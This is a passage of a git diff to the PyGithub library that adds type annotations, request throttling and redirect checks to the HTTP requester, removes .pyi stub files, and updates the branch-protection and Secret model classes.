+ return cls.isPrimaryRateLimitError(message) or cls.isSecondaryRateLimitError(message) + + @classmethod + def isPrimaryRateLimitError(cls, message: str) -> bool: + if not message: + return False + + message = message.lower() + return message.startswith("api rate limit exceeded") + + @classmethod + def isSecondaryRateLimitError(cls, message: str) -> bool: + if not message: + return False + + message = message.lower() + return ( + message.startswith("you have exceeded a secondary rate limit") + or message.endswith("please retry your request again later.") + or message.endswith("please wait a few minutes before you try again.") + ) - def __structuredFromJson(self, data): + def __structuredFromJson(self, data: str) -> Any: if len(data) == 0: return None else: @@ -500,17 +688,29 @@ def __structuredFromJson(self, data): return {"data": data} def requestJson( - self, verb, url, parameters=None, headers=None, input=None, cnx=None - ): - def encode(input): + self, + verb: str, + url: str, + parameters: Optional[Dict[str, Any]] = None, + headers: Optional[Dict[str, Any]] = None, + input: Optional[Any] = None, + cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, + ) -> Tuple[int, Dict[str, Any], str]: + def encode(input: Any) -> Tuple[str, str]: return "application/json", json.dumps(input) return self.__requestEncode(cnx, verb, url, parameters, headers, input, encode) def requestMultipart( - self, verb, url, parameters=None, headers=None, input=None, cnx=None - ): - def encode(input): + self, + verb: str, + url: str, + parameters: Optional[Dict[str, Any]] = None, + headers: Optional[Dict[str, Any]] = None, + input: Optional[Dict[str, str]] = None, + cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, + ) -> Tuple[int, Dict[str, Any], str]: + def encode(input: Dict[str, Any]) -> Tuple[str, str]: boundary = "----------------------------3c3ba8b523b2" eol = "\r\n" @@ -525,17 +725,24 @@ def encode(input): return self.__requestEncode(cnx, verb, url, parameters, headers, input, encode) - def requestBlob(self, verb, url, parameters={}, headers={}, input=None, cnx=None): - def encode(local_path): - if "Content-Type" in headers: - mime_type = headers["Content-Type"] + def requestBlob( + self, + verb: str, + url: str, + parameters: Optional[Dict[str, str]] = None, + headers: Optional[Dict[str, str]] = None, + input: Optional[str] = None, + cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, + ) -> Tuple[int, Dict[str, Any], str]: + if headers is None: + headers = {} + + def encode(local_path: str) -> Tuple[str, Any]: + if "Content-Type" in headers: # type: ignore + mime_type = headers["Content-Type"] # type: ignore else: - guessed_type = mimetypes.guess_type(input) - mime_type = ( - guessed_type[0] - if guessed_type[0] is not None - else Consts.defaultMediaType - ) + guessed_type = mimetypes.guess_type(local_path) + mime_type = guessed_type[0] if guessed_type[0] is not None else Consts.defaultMediaType f = open(local_path, "rb") return mime_type, f @@ -544,30 +751,40 @@ def encode(local_path): return self.__requestEncode(cnx, verb, url, parameters, headers, input, encode) def requestMemoryBlobAndCheck( - self, verb, url, parameters, headers, file_like, cnx=None - ): + self, + verb: str, + url: str, + parameters: Any, + headers: Dict[str, Any], + file_like: BinaryIO, + cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, + ) -> Tuple[Dict[str, Any], Any]: # The expected signature of encode means that the argument is ignored. - def encode(_): + def encode(_: Any) -> Tuple[str, Any]: return headers["Content-Type"], file_like if not cnx: cnx = self.__customConnection(url) - return self.__check( - *self.__requestEncode( - cnx, verb, url, parameters, headers, file_like, encode - ) - ) + return self.__check(*self.__requestEncode(cnx, verb, url, parameters, headers, file_like, encode)) def __requestEncode( - self, cnx, verb, url, parameters, requestHeaders, input, encode - ): + self, + cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]], + verb: str, + url: str, + parameters: Optional[Dict[str, str]], + requestHeaders: Optional[Dict[str, str]], + input: Optional[T], + encode: Callable[[T], Tuple[str, Any]], + ) -> Tuple[int, Dict[str, Any], str]: assert verb in ["HEAD", "GET", "POST", "PATCH", "PUT", "DELETE"] if parameters is None: - parameters = dict() + parameters = {} if requestHeaders is None: - requestHeaders = dict() + requestHeaders = {} - self.__authenticate(url, requestHeaders, parameters) + if self.__auth is not None: + requestHeaders["Authorization"] = f"{self.__auth.token_type} {self.__auth.token}" requestHeaders["User-Agent"] = self.__userAgent url = self.__makeAbsoluteUrl(url) @@ -579,20 +796,17 @@ def __requestEncode( self.NEW_DEBUG_FRAME(requestHeaders) - status, responseHeaders, output = self.__requestRaw( - cnx, verb, url, requestHeaders, encoded_input - ) + status, responseHeaders, output = self.__requestRaw(cnx, verb, url, requestHeaders, encoded_input) - if ( - Consts.headerRateRemaining in responseHeaders - and Consts.headerRateLimit in responseHeaders - ): + if Consts.headerRateRemaining in responseHeaders and Consts.headerRateLimit in responseHeaders: self.rate_limiting = ( - int(responseHeaders[Consts.headerRateRemaining]), - int(responseHeaders[Consts.headerRateLimit]), + # ints expected but sometimes floats returned: https://github.com/PyGithub/PyGithub/pull/2697 + int(float(responseHeaders[Consts.headerRateRemaining])), + int(float(responseHeaders[Consts.headerRateLimit])), ) if Consts.headerRateReset in responseHeaders: - self.rate_limiting_resettime = int(responseHeaders[Consts.headerRateReset]) + # ints expected but sometimes floats returned: https://github.com/PyGithub/PyGithub/pull/2697 + self.rate_limiting_resettime = int(float(responseHeaders[Consts.headerRateReset])) if Consts.headerOAuthScopes in responseHeaders: self.oauth_scopes = responseHeaders[Consts.headerOAuthScopes].split(", ") @@ -601,42 +815,96 @@ def __requestEncode( return status, responseHeaders, output - def __requestRaw(self, cnx, verb, url, requestHeaders, input): - original_cnx = cnx - if cnx is None: - cnx = self.__createConnection() - cnx.request(verb, url, input, requestHeaders) - response = cnx.getresponse() - - status = response.status - responseHeaders = {k.lower(): v for k, v in response.getheaders()} - output = response.read() - - cnx.close() - if input: - if isinstance(input, IOBase): - input.close() - - self.__log(verb, url, requestHeaders, input, status, responseHeaders, output) - - if status == 202 and ( - verb == "GET" or verb == "HEAD" - ): # only for requests that are considered 'safe' in RFC 2616 - time.sleep(Consts.PROCESSING_202_WAIT_TIME) - return self.__requestRaw(original_cnx, verb, url, requestHeaders, input) - - if status == 301 and "location" in responseHeaders: - o = urllib.parse.urlparse(responseHeaders["location"]) - return self.__requestRaw(original_cnx, verb, o.path, requestHeaders, input) - - return status, responseHeaders, output - - def __authenticate(self, url, requestHeaders, parameters): - self._refresh_token_if_needed() - if self.__authorizationHeader is not None: - requestHeaders["Authorization"] = self.__authorizationHeader - - def __makeAbsoluteUrl(self, url): + def __requestRaw( + self, + cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]], + verb: str, + url: str, + requestHeaders: Dict[str, str], + input: Optional[Any], + ) -> Tuple[int, Dict[str, Any], str]: + self.__deferRequest(verb) + + try: + original_cnx = cnx + if cnx is None: + cnx = self.__createConnection() + cnx.request(verb, url, input, requestHeaders) + response = cnx.getresponse() + + status = response.status + responseHeaders = {k.lower(): v for k, v in response.getheaders()} + output = response.read() + + if input: + if isinstance(input, IOBase): + input.close() + + self.__log(verb, url, requestHeaders, input, status, responseHeaders, output) + + if status == 202 and ( + verb == "GET" or verb == "HEAD" + ): # only for requests that are considered 'safe' in RFC 2616 + time.sleep(Consts.PROCESSING_202_WAIT_TIME) + return self.__requestRaw(original_cnx, verb, url, requestHeaders, input) + + if status == 301 and "location" in responseHeaders: + location = responseHeaders["location"] + o = urllib.parse.urlparse(location) + if o.scheme != self.__scheme: + raise RuntimeError( + f"Github server redirected from {self.__scheme} protocol to {o.scheme}, " + f"please correct your Github server URL via base_url: Github(base_url=...)" + ) + if o.hostname != self.__hostname: + raise RuntimeError( + f"Github server redirected from host {self.__hostname} to {o.hostname}, " + f"please correct your Github server URL via base_url: Github(base_url=...)" + ) + if o.path == url: + port = ":" + str(self.__port) if self.__port is not None else "" + requested_location = f"{self.__scheme}://{self.__hostname}{port}{url}" + raise RuntimeError( + f"Requested {requested_location} but server redirected to {location}, " + f"you may need to correct your Github server URL " + f"via base_url: Github(base_url=...)" + ) + if self._logger.isEnabledFor(logging.INFO): + self._logger.info(f"Following Github server redirection from {url} to {o.path}") + return self.__requestRaw(original_cnx, verb, o.path, requestHeaders, input) + + return status, responseHeaders, output + finally: + # we record the time of this request after it finished + # to defer next request starting from this request's end, not start + self.__recordRequestTime(verb) + + def __deferRequest(self, verb: str) -> None: + # Ensures at least self.__seconds_between_requests seconds have passed since any last request + # and self.__seconds_between_writes seconds have passed since last write request (if verb refers to a write). + # Uses self.__last_requests. + requests = self.__last_requests.values() + writes = [l for v, l in self.__last_requests.items() if v != "GET"] + + last_request = max(requests) if requests else 0 + last_write = max(writes) if writes else 0 + + next_request = (last_request + self.__seconds_between_requests) if self.__seconds_between_requests else 0 + next_write = (last_write + self.__seconds_between_writes) if self.__seconds_between_writes else 0 + + next = next_request if verb == "GET" else max(next_request, next_write) + defer = max(next - datetime.now(timezone.utc).timestamp(), 0) + if defer > 0: + if self.__logger is None: + self.__logger = logging.getLogger(__name__) + self.__logger.debug(f"sleeping {defer}s before next GitHub request") + time.sleep(defer) + + def __recordRequestTime(self, verb: str) -> None: + # Updates self.__last_requests with current timestamp for given verb + self.__last_requests[verb] = datetime.now(timezone.utc).timestamp() + + def __makeAbsoluteUrl(self, url: str) -> str: # URLs generated locally will be relative to __base_url # URLs returned from the server will start with __base_url if url.startswith("/"): @@ -649,47 +917,66 @@ def __makeAbsoluteUrl(self, url): "status.github.com", "github.com", ], o.hostname - assert o.path.startswith((self.__prefix, "/api/")) - assert o.port == self.__port + assert o.path.startswith((self.__prefix, self.__graphql_prefix, "/api/")), o.path + assert o.port == self.__port, o.port url = o.path if o.query != "": url += f"?{o.query}" return url - def __addParametersToUrl(self, url, parameters): + def __addParametersToUrl( + self, + url: str, + parameters: Dict[str, Any], + ) -> str: if len(parameters) == 0: return url else: return f"{url}?{urllib.parse.urlencode(parameters)}" - def __createConnection(self): - kwds = {} - kwds["timeout"] = self.__timeout - kwds["verify"] = self.__verify - + def __createConnection( + self, + ) -> Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]: if self.__persist and self.__connection is not None: return self.__connection - self.__connection = self.__connectionClass( - self.__hostname, - self.__port, - retry=self.__retry, - pool_size=self.__pool_size, - **kwds, - ) + with self.__connection_lock: + if self.__connection is not None: + if self.__persist: + return self.__connection + self.__connection.close() + self.__connection = self.__connectionClass( + self.__hostname, + self.__port, + retry=self.__retry, + pool_size=self.__pool_size, + timeout=self.__timeout, + verify=self.__verify, + ) return self.__connection - def __log(self, verb, url, requestHeaders, input, status, responseHeaders, output): + @property + def _logger(self) -> logging.Logger: if self.__logger is None: self.__logger = logging.getLogger(__name__) - if self.__logger.isEnabledFor(logging.DEBUG): + return self.__logger + + def __log( + self, + verb: str, + url: str, + requestHeaders: Dict[str, str], + input: Optional[Any], + status: Optional[int], + responseHeaders: Dict[str, Any], + output: Optional[str], + ) -> None: + if self._logger.isEnabledFor(logging.DEBUG): headersForRequest = requestHeaders.copy() if "Authorization" in requestHeaders: if requestHeaders["Authorization"].startswith("Basic"): - headersForRequest[ - "Authorization" - ] = "Basic (login and password removed)" + headersForRequest["Authorization"] = "Basic (login and password removed)" elif requestHeaders["Authorization"].startswith("token"): headersForRequest["Authorization"] = "token (oauth token removed)" elif requestHeaders["Authorization"].startswith("Bearer"): @@ -698,7 +985,7 @@ def __log(self, verb, url, requestHeaders, input, status, responseHeaders, outpu headersForRequest[ "Authorization" ] = "(unknown auth removed)" # pragma no cover (Cannot happen, but could if we add an authentication method => be prepared) - self.__logger.debug( + self._logger.debug( "%s %s://%s%s %s %s ==> %i %s %s", verb, self.__scheme, @@ -710,3 +997,23 @@ def __log(self, verb, url, requestHeaders, input, status, responseHeaders, outpu responseHeaders, output, ) + + +class WithRequester(Generic[T]): + """ + Mixin class that allows to set a requester. + """ + + __requester: Requester + + def __init__(self) -> None: + self.__requester: Optional[Requester] = None # type: ignore + + @property + def requester(self) -> Requester: + return self.__requester + + def withRequester(self, requester: Requester) -> "WithRequester[T]": + assert isinstance(requester, Requester), requester + self.__requester = requester + return self diff --git a/github/Requester.pyi b/github/Requester.pyi deleted file mode 100644 index be3c6aa00b..0000000000 --- a/github/Requester.pyi +++ /dev/null @@ -1,209 +0,0 @@ -from collections import OrderedDict -from io import BufferedReader -from typing import Any, Callable, Dict, Iterator, Optional, Tuple, Union - -from requests.models import Response - -from github.AppAuthentication import AppAuthentication -from github.GithubObject import GithubObject -from github.InstallationAuthorization import InstallationAuthorization - -from urllib3.util import Retry - -class HTTPRequestsConnectionClass: - def __init__( - self, - host: str, - port: Optional[int] = ..., - strict: bool = ..., - timeout: Optional[int] = ..., - retry: Optional[Union[int, Retry]] = ..., - pool_size: Optional[int] = ..., - **kwargs: str - ) -> None: ... - def close(self) -> None: ... - def getresponse(self) -> RequestsResponse: ... - def request( - self, verb: str, url: str, input: None, headers: Dict[str, str] - ) -> None: ... - -class HTTPSRequestsConnectionClass: - def __init__( - self, - host: str, - port: Optional[int] = ..., - strict: bool = ..., - timeout: Optional[int] = ..., - retry: Optional[Union[int, Retry]] = ..., - pool_size: Optional[int] = ..., - **kwargs: str - ) -> None: ... - def close(self) -> None: ... - def getresponse(self) -> RequestsResponse: ... - def request( - self, - verb: str, - url: str, - input: Optional[Union[str, BufferedReader]], - headers: Dict[str, str], - ) -> None: ... - -class Requester: - __installation_authorization: Optional[InstallationAuthorization] = ... - __app_auth: Optional[AppAuthentication] = ... - def DEBUG_ON_RESPONSE( - self, statusCode: int, responseHeader: Dict[str, str], data: str - ) -> None: ... - def NEW_DEBUG_FRAME(self, requestHeader: Dict[str, str]) -> None: ... - def __check( - self, - status: int, - responseHeaders: Dict[str, Any], - output: str, - ) -> Tuple[Dict[str, Any], Dict[str, Any]]: ... - def __addParametersToUrl( - self, - url: str, - parameters: Dict[str, Any], - ) -> str: ... - def __authenticate( - self, - url: str, - requestHeaders: Dict[str, Any], - parameters: Dict[str, Any], - ) -> None: ... - def __customConnection( - self, - url: str, - ) -> Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]]: ... - def __createConnection( - self, - ) -> Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]: ... - def __createException( - self, - status: int, - headers: Dict[str, Any], - output: str, - ) -> Any: ... - def __log( - self, - verb: str, - url: str, - requestHeaders: Dict[str, str], - input: Optional[str], - status: Optional[int], - responseHeaders: Dict[str, Any], - output: Optional[str], - ) -> None: ... - def __makeAbsoluteUrl(self, url: str) -> str: ... - def __structuredFromJson(self, data: str) -> Optional[Dict[str, Any]]: ... - def __requestEncode( - self, - cnx: Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass], - verb: str, - url: str, - parameters: Dict[str, str], - requestHeaders: Dict[str, str], - input: Optional[str], - encode: Callable[[str], str], - ) -> Tuple[int, Dict[str, Any], str]: ... - def __requestRaw( - self, - cnx: Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass], - verb: str, - url: str, - requestHeaders: Dict[str, str], - input: Optional[str], - ) -> Tuple[int, Dict[str, Any], str]: ... - def __init__( - self, - login_or_token: Optional[str], - password: Optional[str], - jwt: Optional[str], - app_auth: Optional[AppAuthentication], - base_url: str, - timeout: int, - user_agent: str, - per_page: int, - verify: bool, - retry: Optional[Union[int, Retry]], - pool_size: Optional[int], - ) -> None: ... - def _initializeDebugFeature(self) -> None: ... - def check_me(self, obj: GithubObject) -> None: ... - def _must_refresh_token(self) -> bool: ... - def _get_installation_authorization(self) -> InstallationAuthorization: ... - def _refresh_token_if_needed(self) -> None: ... - def _refresh_token(self) -> None: ... - @classmethod - def injectConnectionClasses( - cls, httpConnectionClass: Callable, httpsConnectionClass: Callable - ) -> None: ... - def requestBlob( - self, - verb: str, - url: str, - parameters: Dict[str, str] = ..., - headers: Dict[str, str] = ..., - input: Optional[str] = ..., - cnx: Optional[ - Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass] - ] = ..., - ) -> Tuple[int, Dict[str, Any], str]: ... - def requestBlobAndCheck( - self, - verb: str, - url: str, - parameters: Optional[Dict[str, Any]] = ..., - headers: Optional[Dict[str, Any]] = ..., - input: Optional[str] = ..., - ) -> Tuple[Dict[str, Any], Optional[Dict[str, Any]]]: ... - def requestJson( - self, - verb: str, - url: str, - parameters: Optional[Dict[str, Any]] = ..., - headers: Optional[Dict[str, Any]] = ..., - input: Optional[Any] = ..., - cnx: Optional[ - Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass] - ] = ..., - ) -> Tuple[int, Dict[str, Any], str]: ... - def requestJsonAndCheck( - self, - verb: str, - url: str, - parameters: Optional[Dict[str, Any]] = ..., - headers: Optional[Dict[str, str]] = ..., - input: Optional[Any] = ..., - ) -> Tuple[Dict[str, Any], Optional[Dict[str, Any]]]: ... - def requestMultipart( - self, - verb: str, - url: str, - parameters: Optional[Dict[str, Any]] = ..., - headers: Optional[Dict[str, Any]] = ..., - input: Optional[OrderedDict[str, str]] = ..., - cnx: Optional[ - Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass] - ] = ..., - ) -> Tuple[int, Dict[str, Any], str]: ... - def requestMultipartAndCheck( - self, - verb: str, - url: str, - parameters: Optional[Dict[str, Any]] = ..., - headers: Optional[Dict[str, Any]] = ..., - input: Optional[OrderedDict[str, str]] = ..., - ) -> Tuple[Dict[str, Any], Optional[Dict[str, Any]]]: ... - @classmethod - def resetConnectionClasses(cls) -> None: ... - @classmethod - def setDebugFlag(cls, flag: bool) -> None: ... - @classmethod - def setOnCheckMe(cls, onCheckMe: Callable) -> None: ... - -class RequestsResponse: - def __init__(self, r: Response) -> None: ... - def getheaders(self) -> Iterator[Any]: ... - def read(self) -> str: ... diff --git a/github/RequiredPullRequestReviews.py b/github/RequiredPullRequestReviews.py index 1e89901743..9d50279da7 100644 --- a/github/RequiredPullRequestReviews.py +++ b/github/RequiredPullRequestReviews.py @@ -1,6 +1,25 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Jannis Gebauer # +# Copyright 2017 Simon # # Copyright 2018 Steve Kowalik # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,81 +39,78 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.NamedUser import github.Team +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.NamedUser import NamedUser + from github.Team import Team -class RequiredPullRequestReviews(github.GithubObject.CompletableGithubObject): +class RequiredPullRequestReviews(CompletableGithubObject): """ This class represents Required Pull Request Reviews. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-pull-request-review-protection """ - def __repr__(self): + def _initAttributes(self) -> None: + self._dismiss_stale_reviews: Attribute[bool] = NotSet + self._require_code_owner_reviews: Attribute[bool] = NotSet + self._required_approving_review_count: Attribute[int] = NotSet + self._users: Attribute[list[NamedUser]] = NotSet + self._teams: Attribute[list[Team]] = NotSet + self._require_last_push_approval: Attribute[bool] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "url": self._url.value, "dismiss_stale_reviews": self._dismiss_stale_reviews.value, "require_code_owner_reviews": self._require_code_owner_reviews.value, + "require_last_push_approval": self._require_last_push_approval.value, } ) @property - def dismiss_stale_reviews(self): - """ - :type: bool - """ + def dismiss_stale_reviews(self) -> bool: self._completeIfNotSet(self._dismiss_stale_reviews) return self._dismiss_stale_reviews.value @property - def require_code_owner_reviews(self): - """ - :type: bool - """ + def require_code_owner_reviews(self) -> bool: self._completeIfNotSet(self._require_code_owner_reviews) return self._require_code_owner_reviews.value @property - def required_approving_review_count(self): - """ - :type: int - """ + def required_approving_review_count(self) -> int: self._completeIfNotSet(self._required_approving_review_count) return self._required_approving_review_count.value @property - def url(self): - """ - :type: string - """ + def require_last_push_approval(self) -> bool: + self._completeIfNotSet(self._require_last_push_approval) + return self._require_last_push_approval.value + + @property + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def dismissal_users(self): - """ - :type: list of :class:`github.NamedUser.NamedUser` - """ + def dismissal_users(self) -> list[NamedUser]: self._completeIfNotSet(self._users) return self._users.value @property - def dismissal_teams(self): - """ - :type: list of :class:`github.Team.Team` - """ + def dismissal_teams(self) -> list[Team]: self._completeIfNotSet(self._teams) return self._teams.value - def _initAttributes(self): - self._dismiss_stale_reviews = github.GithubObject.NotSet - self._require_code_owner_reviews = github.GithubObject.NotSet - self._required_approving_review_count = github.GithubObject.NotSet - self._users = github.GithubObject.NotSet - self._teams = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "dismissal_restrictions" in attributes: # pragma no branch if "users" in attributes["dismissal_restrictions"]: self._users = self._makeListOfClassesAttribute( @@ -106,16 +122,14 @@ def _useAttributes(self, attributes): github.Team.Team, attributes["dismissal_restrictions"]["teams"] ) if "dismiss_stale_reviews" in attributes: # pragma no branch - self._dismiss_stale_reviews = self._makeBoolAttribute( - attributes["dismiss_stale_reviews"] - ) + self._dismiss_stale_reviews = self._makeBoolAttribute(attributes["dismiss_stale_reviews"]) if "require_code_owner_reviews" in attributes: # pragma no branch - self._require_code_owner_reviews = self._makeBoolAttribute( - attributes["require_code_owner_reviews"] - ) + self._require_code_owner_reviews = self._makeBoolAttribute(attributes["require_code_owner_reviews"]) if "required_approving_review_count" in attributes: # pragma no branch self._required_approving_review_count = self._makeIntAttribute( attributes["required_approving_review_count"] ) + if "require_last_push_approval" in attributes: # pragma no branch + self._require_last_push_approval = self._makeBoolAttribute(attributes["require_last_push_approval"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/RequiredPullRequestReviews.pyi b/github/RequiredPullRequestReviews.pyi deleted file mode 100644 index 4d1c58849b..0000000000 --- a/github/RequiredPullRequestReviews.pyi +++ /dev/null @@ -1,22 +0,0 @@ -from typing import Any, Dict, List, Optional - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.Team import Team - -class RequiredPullRequestReviews(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def dismiss_stale_reviews(self) -> bool: ... - @property - def dismissal_teams(self) -> Optional[List[Team]]: ... - @property - def dismissal_users(self) -> Optional[List[NamedUser]]: ... - @property - def require_code_owner_reviews(self) -> bool: ... - @property - def required_approving_review_count(self) -> int: ... - @property - def url(self) -> int: ... diff --git a/github/RequiredStatusChecks.py b/github/RequiredStatusChecks.py index 99ee158ec4..bc974025eb 100644 --- a/github/RequiredStatusChecks.py +++ b/github/RequiredStatusChecks.py @@ -1,6 +1,22 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,47 +36,42 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from typing import Any -class RequiredStatusChecks(github.GithubObject.CompletableGithubObject): +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class RequiredStatusChecks(CompletableGithubObject): """ This class represents Required Status Checks. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-status-checks-protection """ - def __repr__(self): + def _initAttributes(self) -> None: + self._strict: Attribute[bool] = NotSet + self._contexts: Attribute[list[str]] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"strict": self._strict.value, "url": self._url.value}) @property - def strict(self): - """ - :type: bool - """ + def strict(self) -> bool: self._completeIfNotSet(self._strict) return self._strict.value @property - def contexts(self): - """ - :type: list of string - """ + def contexts(self) -> list[str]: self._completeIfNotSet(self._contexts) return self._contexts.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def _initAttributes(self): - self._strict = github.GithubObject.NotSet - self._contexts = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "strict" in attributes: # pragma no branch self._strict = self._makeBoolAttribute(attributes["strict"]) if "contexts" in attributes: # pragma no branch diff --git a/github/RequiredStatusChecks.pyi b/github/RequiredStatusChecks.pyi deleted file mode 100644 index a5058afba2..0000000000 --- a/github/RequiredStatusChecks.pyi +++ /dev/null @@ -1,14 +0,0 @@ -from typing import Any, Dict, List - -from github.GithubObject import CompletableGithubObject - -class RequiredStatusChecks(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def contexts(self) -> List[str]: ... - @property - def strict(self) -> bool: ... - @property - def url(self) -> str: ... diff --git a/github/Secret.py b/github/Secret.py index bd3bd5c2d2..f9f3f983f2 100644 --- a/github/Secret.py +++ b/github/Secret.py @@ -1,6 +1,21 @@ ############################ Copyrights and license ############################ # # -# Copyright 2021 Denis Blanchette # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,59 +35,83 @@ # # ################################################################################ -import github.GithubObject +from datetime import datetime +from typing import Any, Dict +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class Secret(github.GithubObject.NonCompletableGithubObject): - def __repr__(self): - return self.get__repr__({"": self._name.value}) + +class Secret(CompletableGithubObject): + """ + This class represents a GitHub secret. The reference can be found here https://docs.github.com/en/rest/actions/secrets + """ + + def _initAttributes(self) -> None: + self._name: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._secrets_url: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"name": self.name}) @property - def created_at(self): + def name(self) -> str: """ - :type: datetime.datetime + :type: string """ - return self._created_at.value + self._completeIfNotSet(self._name) + return self._name.value @property - def name(self): + def created_at(self) -> datetime: """ - :type: string + :type: datetime.datetime """ - return self._name.value + self._completeIfNotSet(self._created_at) + return self._created_at.value @property - def updated_at(self): + def updated_at(self) -> datetime: """ :type: datetime.datetime """ + self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def visibility(self): + def secrets_url(self) -> str: + """ + :type: string + """ + return self._secrets_url.value + + @property + def url(self) -> str: """ :type: string """ - return self._visibility.value + # Construct url from secrets_url and name, if self._url. is not set + if self._url is NotSet: + self._url = self._makeStringAttribute(self.secrets_url + "/" + self.name) + return self._url.value - def _initAttributes(self): - self._created_at = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._visibility = github.GithubObject.NotSet + def delete(self) -> None: + """ + :calls: `DELETE {secret_url} `_ + :rtype: None + """ + self._requester.requestJsonAndCheck("DELETE", self.url) - def _useAttributes(self, attributes): - if "created_at" in attributes: # pragma no branch - assert attributes["created_at"] is None or isinstance( - attributes["created_at"], str - ), attributes["created_at"] - self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) - if "name" in attributes: # pragma no branch + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "name" in attributes: self._name = self._makeStringAttribute(attributes["name"]) - if "updated_at" in attributes: # pragma no branch - assert attributes["updated_at"] is None or isinstance( - attributes["updated_at"], str - ), attributes["updated_at"] + if "created_at" in attributes: + self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) + if "updated_at" in attributes: self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) - if "visibility" in attributes: # pragma no branch - self._visibility = self._makeStringAttribute(attributes["visibility"]) + if "secrets_url" in attributes: + self._secrets_url = self._makeStringAttribute(attributes["secrets_url"]) + if "url" in attributes: + self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/Secret.pyi b/github/Secret.pyi deleted file mode 100644 index f5983950cc..0000000000 --- a/github/Secret.pyi +++ /dev/null @@ -1,18 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -import github.GithubObject - - -class Secret(github.GithubObject.NonCompletableGithubObject): - def __repr__(self) -> str: ... - @property - def created_at(self) -> datetime: ... - @property - 